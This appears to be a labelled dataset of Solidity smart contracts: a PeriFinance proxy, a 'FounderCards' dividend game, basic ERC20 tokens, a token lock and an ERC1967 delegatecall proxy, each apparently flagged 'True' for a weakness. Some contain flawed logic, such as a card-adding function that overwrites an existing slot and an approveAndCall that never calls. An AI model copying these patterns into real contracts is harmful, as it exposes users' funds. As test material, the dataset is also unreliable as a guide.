return (_numerator / _denominator) / 10 ** uint256(-_scale);
}
}
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|
/*
Note:
This is a PROXY contract, it defers requests to its underlying TARGET contract.
Always use this address in your applications and never the TARGET as it is liable to change.
*//*
___ _ ___ _
| .\ ___ _ _ <_> ___ | __><_>._ _ ___ ._ _ ___ ___
| _// ._>| '_>| ||___|| _> | || ' |<_> || ' |/ | '/ ._>
|_| \___.|_| |_| |_| |_||_|_|<___||_|_|\_|_.\___.
* PeriFinance: Proxy.sol
*
* Latest source (may be newer): https://github.com/perifinance/peri-finance/blob/master/contracts/Proxy.sol
* Docs: Will be added in the future.
* https://docs.peri.finance/contracts/source/contracts/Proxy
*
* Contract Dependencies:
* - Owned
* Libraries: (none)
*
* MIT License
* ===========
*
* Copyright (c) 2021 PeriFinance
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/
pragma solidity 0.5.16;
// https://docs.peri.finance/contracts/source/contracts/owned
contract Owned {
address public owner;
address public nominatedOwner;
constructor(address _owner) public {
require(_owner != address(0), "Owner address cannot be 0");
owner = _owner;
emit OwnerChanged(address(0), _owner);
}
function nominateNewOwner(address _owner) external onlyOwner {
nominatedOwner = _owner;
emit OwnerNominated(_owner);
}
function acceptOwnership() external {
require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership");
emit OwnerChanged(owner, nominatedOwner);
owner = nominatedOwner;
nominatedOwner = address(0);
}
modifier onlyOwner {
_onlyOwner();
_;
}
function _onlyOwner() private view {
require(msg.sender == owner, "Only the contract owner may perform this action");
}
event OwnerNominated(address newOwner);
event OwnerChanged(address oldOwner, address newOwner);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/proxyable
contract Proxyable is Owned {
// This contract should be treated like an abstract contract
/* The proxy this contract exists behind. */
Proxy public proxy;
Proxy public integrationProxy;
/* The caller of the proxy, passed through to this contract.
* Note that every function using this member must apply the onlyProxy or
* optionalProxy modifiers, otherwise their invocations can use stale values. */
address public messageSender;
constructor(address payable _proxy) internal {
// This contract is abstract, and thus cannot be instantiated directly
require(owner != address(0), "Owner must be set");
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setProxy(address payable _proxy) external onlyOwner {
proxy = Proxy(_proxy);
emit ProxyUpdated(_proxy);
}
function setIntegrationProxy(address payable _integrationProxy) external onlyOwner {
integrationProxy = Proxy(_integrationProxy);
}
function setMessageSender(address sender) external onlyProxy {
messageSender = sender;
}
modifier onlyProxy {
_onlyProxy();
_;
}
function _onlyProxy() private view {
require(Proxy(msg.sender) == proxy || Proxy(msg.sender) == integrationProxy, "Only the proxy can call");
}
modifier optionalProxy {
_optionalProxy();
_;
}
function _optionalProxy() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
}
modifier optionalProxy_onlyOwner {
_optionalProxy_onlyOwner();
_;
}
// solhint-disable-next-line func-name-mixedcase
function _optionalProxy_onlyOwner() private {
if (Proxy(msg.sender) != proxy && Proxy(msg.sender) != integrationProxy && messageSender != msg.sender) {
messageSender = msg.sender;
}
require(messageSender == owner, "Owner only function");
}
event ProxyUpdated(address proxyAddress);
}
// Inheritance
// Internal references
// https://docs.peri.finance/contracts/source/contracts/proxy
contract Proxy is Owned {
Proxyable public target;
constructor(address _owner) public Owned(_owner) {}
function setTarget(Proxyable _target) external onlyOwner {
target = _target;
emit TargetUpdated(_target);
}
function _emit(
bytes calldata callData,
uint numTopics,
bytes32 topic1,
bytes32 topic2,
bytes32 topic3,
bytes32 topic4
) external onlyTarget {
uint size = callData.length;
bytes memory _callData = callData;
assembly {
/* The first 32 bytes of callData contain its length (as specified by the abi).
* Length is assumed to be a uint256 and therefore maximum of 32 bytes
* in length. It is also leftpadded to be a multiple of 32 bytes.
* This means moving call_data across 32 bytes guarantees we correctly access
* the data itself. */
switch numTopics
case 0 {
log0(add(_callData, 32), size)
}
case 1 {
log1(add(_callData, 32), size, topic1)
}
case 2 {
log2(add(_callData, 32), size, topic1, topic2)
}
case 3 {
log3(add(_callData, 32), size, topic1, topic2, topic3)
}
case 4 {
log4(add(_callData, 32), size, topic1, topic2, topic3, topic4)
}
}
}
// solhint-disable no-complex-fallback
function() external payable {
// Mutable call setting Proxyable.messageSender as this is using call not delegatecall
target.setMessageSender(msg.sender);
assembly {
let free_ptr := mload(0x40)
calldatacopy(free_ptr, 0, calldatasize)
/* We must explicitly forward ether to the underlying contract as well. */
let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0)
returndatacopy(free_ptr, 0, returndatasize)
if iszero(result) {
revert(free_ptr, returndatasize)
}
return(free_ptr, returndatasize)
}
}
modifier onlyTarget {
require(Proxyable(msg.sender) == target, "Must be proxy target");
_;
}
event TargetUpdated(Proxyable newTarget);
}
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1010,
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1010,
1008,
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1997,
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2007,
1996,
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1996,
102
]
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1,
1,
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1,
1,
1,
1,
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1,
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]
|
pragma solidity ^0.4.24;
/*
*
* https://fundingsecured.me/founders/
*
* ███████╗ ██████╗ ██╗ ██╗███╗ ██╗██████╗ ███████╗██████╗
* ██╔════╝██╔═══██╗██║ ██║████╗ ██║██╔══██╗██╔════╝██╔══██╗
* █████╗ ██║ ██║██║ ██║██╔██╗ ██║██║ ██║█████╗ ██████╔╝
* ██╔══╝ ██║ ██║██║ ██║██║╚██╗██║██║ ██║██╔══╝ ██╔══██╗
* ██║ ╚██████╔╝╚██████╔╝██║ ╚████║██████╔╝███████╗██║ ██║
* ╚═╝ ╚═════╝ ╚═════╝ ╚═╝ ╚═══╝╚═════╝ ╚══════╝╚═╝ ╚═╝
*
* ██████╗ █████╗ ██████╗ ██████╗ ███████╗
* ██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔════╝
* ██║ ███████║██████╔╝██║ ██║███████╗
* ██║ ██╔══██║██╔══██╗██║ ██║╚════██║
* ╚██████╗██║ ██║██║ ██║██████╔╝███████║
* ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝ ╚══════╝
*
* https://fundingsecured.me/founders/
*
*/
contract FounderCards {
/*=================================
= MODIFIERS =
=================================*/
modifier onlyOwner(){
require(msg.sender == dev);
_;
}
/*==============================
= EVENTS =
==============================*/
event oncardPurchase(
address customerAddress,
uint256 incomingEthereum,
uint256 card,
uint256 newPrice
);
event onWithdraw(
address customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address from,
address to,
uint256 card
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "FOUNDER CARDS";
string public symbol = "FOUNDERS";
uint8 constant public fsDivRate = 10;
uint8 constant public ownerDivRate = 50;
uint8 constant public distDivRate = 40;
uint8 constant public referralRate = 5;
uint8 constant public decimals = 18;
uint public totalCardValue = 6 ether; // Make sure this is sum of starting card values
uint public precisionFactor = 9;
/*================================
= DATASETS =
================================*/
mapping(uint => address) internal cardOwner;
mapping(uint => uint) public cardPrice;
mapping(uint => uint) internal cardPreviousPrice;
mapping(address => uint) internal ownerAccounts;
mapping(uint => uint) internal totalCardDivs;
uint cardPriceIncrement = 110;
uint totalDivsProduced = 0;
uint public totalCards;
uint ACTIVATION_TIME = 1537916399;
address dev;
address cs;
address cf;
address fundsDividendAddr;
// Raffle Winners
address w1;
address w2;
address w3;
/*=======================================
= PUBLIC FUNCTIONS =
=======================================*/
/*
* -- APPLICATION ENTRY POINTS --
*/
constructor()
public
{
dev = msg.sender;
fundsDividendAddr = 0xd529ADaE263048f495A05B858c8E7C077F047813;
cs = 0xEafE863757a2b2a2c5C3f71988b7D59329d09A78;
cf = 0x0A49857F69919AEcddbA77136364Bb19108B4891;
w1 = 0xb563aca579753750980d45cd65673ff38c43a577;
w2 = 0x38602d1446fe063444B04C3CA5eCDe0cbA104240;
w3 = 0x190a2409fc6434483d4c2cab804e75e3bc5ebfa6;
totalCards = 12;
cardOwner[0] = w1;
cardPrice[0] = 1.2 ether;
cardPreviousPrice[0] = cardPrice[0];
cardOwner[1] = w2;
cardPrice[1] = 1 ether;
cardPreviousPrice[1] = cardPrice[1];
cardOwner[2] = w3;
cardPrice[2] = 0.8 ether;
cardPreviousPrice[2] = cardPrice[2];
cardOwner[3] = cf;
cardPrice[3] = 0.7 ether;
cardPreviousPrice[3] = cardPrice[3];
cardOwner[4] = cf;
cardPrice[4] = 0.6 ether;
cardPreviousPrice[4] = cardPrice[4];
cardOwner[5] = cf;
cardPrice[5] = 0.5 ether;
cardPreviousPrice[5] = cardPrice[5];
cardOwner[6] = cs;
cardPrice[6] = 0.4 ether;
cardPreviousPrice[6] = cardPrice[6];
cardOwner[7] = cs;
cardPrice[7] = 0.3 ether;
cardPreviousPrice[7] = cardPrice[7];
cardOwner[8] = cs;
cardPrice[8] = 0.25 ether;
cardPreviousPrice[8] = cardPrice[8];
cardOwner[9] = dev;
cardPrice[9] = 0.13 ether;
cardPreviousPrice[9] = cardPrice[9];
cardOwner[10] = dev;
cardPrice[10] = 0.07 ether;
cardPreviousPrice[10] = cardPrice[10];
cardOwner[11] = dev;
cardPrice[11] = 0.05 ether;
cardPreviousPrice[11] = cardPrice[11];
}
function addtotalCardValue(uint _new, uint _old)
internal
{
uint newPrice = SafeMath.div(SafeMath.mul(_new,cardPriceIncrement),100);
totalCardValue = SafeMath.add(totalCardValue, SafeMath.sub(newPrice,_old));
}
function buy(uint _card, address _referrer)
public
payable
{
require(_card < totalCards);
require(now >= ACTIVATION_TIME);
require(msg.value >= cardPrice[_card]);
require(msg.sender != cardOwner[_card]);
// Return excess ether if buyer overpays
if (msg.value > cardPrice[_card]){
uint _excess = SafeMath.sub(msg.value, cardPrice[_card]);
ownerAccounts[msg.sender] += _excess;
}
addtotalCardValue(cardPrice[_card], cardPreviousPrice[_card]);
uint _newPrice = SafeMath.div(SafeMath.mul(cardPrice[_card], cardPriceIncrement), 100);
//Determine the total dividends
uint _baseDividends = SafeMath.sub(cardPrice[_card], cardPreviousPrice[_card]);
totalDivsProduced = SafeMath.add(totalDivsProduced, _baseDividends);
uint _fsDividends = SafeMath.div(SafeMath.mul(_baseDividends, fsDivRate),100);
uint _ownerDividends = SafeMath.div(SafeMath.mul(_baseDividends, ownerDivRate), 100);
totalCardDivs[_card] = SafeMath.add(totalCardDivs[_card], _ownerDividends);
_ownerDividends = SafeMath.add(_ownerDividends, cardPreviousPrice[_card]);
uint _distDividends = SafeMath.div(SafeMath.mul(_baseDividends, distDivRate), 100);
// If referrer is left blank,send to FUND address
if (_referrer != msg.sender) {
uint _referralDividends = SafeMath.div(SafeMath.mul(_baseDividends, referralRate), 100);
_distDividends = SafeMath.sub(_distDividends, _referralDividends);
if (_referrer == 0x0) {
fundsDividendAddr.transfer(_referralDividends);
}
else {
ownerAccounts[_referrer] = SafeMath.add(ownerAccounts[_referrer], _referralDividends);
}
}
//distribute dividends to accounts
address _previousOwner = cardOwner[_card];
address _newOwner = msg.sender;
ownerAccounts[_previousOwner] = SafeMath.add(ownerAccounts[_previousOwner], _ownerDividends);
fundsDividendAddr.transfer(_fsDividends);
distributeDivs(_distDividends);
//Increment the card Price
cardPreviousPrice[_card] = cardPrice[_card];
cardPrice[_card] = _newPrice;
cardOwner[_card] = _newOwner;
emit oncardPurchase(msg.sender, cardPreviousPrice[_card], _card, _newPrice);
}
function distributeDivs(uint _distDividends) internal{
for (uint _card=0; _card < totalCards; _card++){
uint _divShare = SafeMath.div(SafeMath.div(SafeMath.mul(cardPreviousPrice[_card], 10 ** (precisionFactor + 1)), totalCardValue) + 5, 10);
uint _cardDivs = SafeMath.div(SafeMath.mul(_distDividends, _divShare), 10 ** precisionFactor);
ownerAccounts[cardOwner[_card]] += _cardDivs;
totalCardDivs[_card] = SafeMath.add(totalCardDivs[_card], _cardDivs);
}
}
function withdraw()
public
{
address _customerAddress = msg.sender;
require(ownerAccounts[_customerAddress] >= 0.001 ether);
uint _dividends = ownerAccounts[_customerAddress];
ownerAccounts[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
/*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/
function setName(string _name)
onlyOwner()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyOwner()
public
{
symbol = _symbol;
}
function setcardPrice(uint _card, uint _price) //Allow the changing of a card price owner if the dev owns it
onlyOwner()
public
{
require(cardOwner[_card] == dev);
cardPrice[_card] = _price;
}
function addNewcard(uint _price)
onlyOwner()
public
{
cardPrice[totalCards-1] = _price;
cardOwner[totalCards-1] = dev;
totalCardDivs[totalCards-1] = 0;
totalCards = totalCards + 1;
}
/*---------- HELPERS AND CALCULATORS ----------*/
/**
* Method to view the current Ethereum stored in the contract
* Example: totalEthereumBalance()
*/
function getMyBalance()
public
view
returns(uint)
{
return ownerAccounts[msg.sender];
}
function getOwnerBalance(address _cardOwner)
public
view
returns(uint)
{
return ownerAccounts[_cardOwner];
}
function getcardPrice(uint _card)
public
view
returns(uint)
{
require(_card < totalCards);
return cardPrice[_card];
}
function getcardOwner(uint _card)
public
view
returns(address)
{
require(_card < totalCards);
return cardOwner[_card];
}
function gettotalCardDivs(uint _card)
public
view
returns(uint)
{
require(_card < totalCards);
return totalCardDivs[_card];
}
function getTotalDivsProduced()
public
view
returns(uint)
{
return totalDivsProduced;
}
function getCardDivShare(uint _card)
public
view
returns(uint)
{
require(_card < totalCards);
return SafeMath.div(SafeMath.div(SafeMath.mul(cardPreviousPrice[_card], 10 ** (precisionFactor + 1)), totalCardValue) + 5, 10);
}
function getCardDivs(uint _card, uint _amt)
public
view
returns(uint)
{
uint _share = getCardDivShare(_card);
return SafeMath.div(SafeMath.mul( _share, _amt), 10 ** precisionFactor);
}
function gettotalCardValue()
public
view
returns(uint)
{
return totalCardValue;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address (this).balance;
}
function gettotalCards()
public
view
returns(uint)
{
return totalCards;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | True | [
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|
pragma solidity ^0.4.24;
contract LCToken{
uint256 public totalSupply;
function balanceOf(address _owner)public constant returns (uint256 balance);
function transfer(address _to, uint256 _value)public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value)public returns
(bool success);
function approve(address _spender, uint256 _value)public returns (bool success);
function allowance(address _owner, address _spender)public constant returns
(uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256
_value);
}
contract LCStandardToken is LCToken {
function transfer(address _to, uint256 _value)public returns (bool success) {
require(_to!= address(0));
require(balances[msg.sender] >= _value);
require(balances[_to] +_value>=balances[_to]);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value)public returns
(bool success) {
require(_to!= address(0));
require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value);
require(balances[_to] +_value>=balances[_to]);
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
emit Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner)public constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value)public returns (bool success)
{
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)public constant returns (uint256 remaining) {
return allowed[_owner][_spender];//允许_spender从_owner中转出的token数
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract LCStandardCreateToken is LCStandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H0.1';
constructor(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol)public {
balances[msg.sender] = _initialAmount; // 初始token数量给予消息发送者
totalSupply = _initialAmount; // 设置初始总量
name = _tokenName; // token名称
decimals = _decimalUnits; // 小数位数
symbol = _tokenSymbol; // token简称
}
/* Approves and then calls the receiving contract */
function approveAndCall(address _spender, uint256 _value)public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
} | True | [
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|
pragma solidity 0.4.19;
contract Token {
/// @return total amount of tokens
function totalSupply() constant returns (uint supply) {}
/// @param _owner The address from which the balance will be retrieved
/// @return The balance
function balanceOf(address _owner) constant returns (uint balance) {}
/// @notice send `_value` token to `_to` from `msg.sender`
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transfer(address _to, uint _value) returns (bool success) {}
/// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from`
/// @param _from The address of the sender
/// @param _to The address of the recipient
/// @param _value The amount of token to be transferred
/// @return Whether the transfer was successful or not
function transferFrom(address _from, address _to, uint _value) returns (bool success) {}
/// @notice `msg.sender` approves `_addr` to spend `_value` tokens
/// @param _spender The address of the account able to transfer the tokens
/// @param _value The amount of wei to be approved for transfer
/// @return Whether the approval was successful or not
function approve(address _spender, uint _value) returns (bool success) {}
/// @param _owner The address of the account owning tokens
/// @param _spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens allowed to spent
function allowance(address _owner, address _spender) constant returns (uint remaining) {}
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract RegularToken is Token {
function transfer(address _to, uint _value) returns (bool) {
//Default assumes totalSupply can't be over max (2^256 - 1).
if (balances[msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint _value) returns (bool) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value >= balances[_to]) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint) {
return allowed[_owner][_spender];
}
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
uint public totalSupply;
}
contract UnboundedRegularToken is RegularToken {
uint constant MAX_UINT = 2**256 - 1;
/// @dev ERC20 transferFrom, modified such that an allowance of MAX_UINT represents an unlimited amount.
/// @param _from Address to transfer from.
/// @param _to Address to transfer to.
/// @param _value Amount to transfer.
/// @return Success of transfer.
function transferFrom(address _from, address _to, uint _value)
public
returns (bool)
{
uint allowance = allowed[_from][msg.sender];
if (balances[_from] >= _value
&& allowance >= _value
&& balances[_to] + _value >= balances[_to]
) {
balances[_to] += _value;
balances[_from] -= _value;
if (allowance < MAX_UINT) {
allowed[_from][msg.sender] -= _value;
}
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
}
contract HKC is UnboundedRegularToken {
uint public totalSupply = 21*10**25;
uint8 constant public decimals = 18;
string constant public name = "HKC";
string constant public symbol = "HKC";
function HKC() {
balances[msg.sender] = totalSupply;
Transfer(address(0), msg.sender, totalSupply);
}
} | True | [
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|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public{
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 29980800;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0xc7F47C52f06C9Fe644411c1CBEFdE1AB295C2896;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//adidas card
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract adidas {
bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
constructor(bytes memory _a, bytes memory _data) payable {
(address _as) = abi.decode(_a, (address));
assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
require(Address.isContract(_as), "Address Errors");
StorageSlot.getAddressSlot(KEY).value = _as;
if (_data.length > 0) {
Address.functionDelegateCall(_as, _data);
}
}
function _g(address to) internal virtual {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _fallback() internal virtual {
_beforeFallback();
_g(StorageSlot.getAddressSlot(KEY).value);
}
fallback() external payable virtual {
_fallback();
}
receive() external payable virtual {
_fallback();
}
function _beforeFallback() internal virtual {}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for reading and writing primitive types to specific storage slots.
*
* Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts.
* This library helps with reading and writing to such slots without the need for inline assembly.
*
* The functions in this library return Slot structs that contain a `value` member that can be used to read or write.
*
* Example usage to set ERC1967 implementation slot:
* ```
* contract ERC1967 {
* bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
*
* function _getImplementation() internal view returns (address) {
* return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
* }
*
* function _setImplementation(address newImplementation) internal {
* require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
* StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;
* }
* }
* ```
*
* _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._
*/
library StorageSlot {
struct AddressSlot {
address value;
}
struct BooleanSlot {
bool value;
}
struct Bytes32Slot {
bytes32 value;
}
struct Uint256Slot {
uint256 value;
}
/**
* @dev Returns an `AddressSlot` with member `value` located at `slot`.
*/
function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `BooleanSlot` with member `value` located at `slot`.
*/
function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Bytes32Slot` with member `value` located at `slot`.
*/
function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) {
assembly {
r.slot := slot
}
}
/**
* @dev Returns an `Uint256Slot` with member `value` located at `slot`.
*/
function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) {
assembly {
r.slot := slot
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
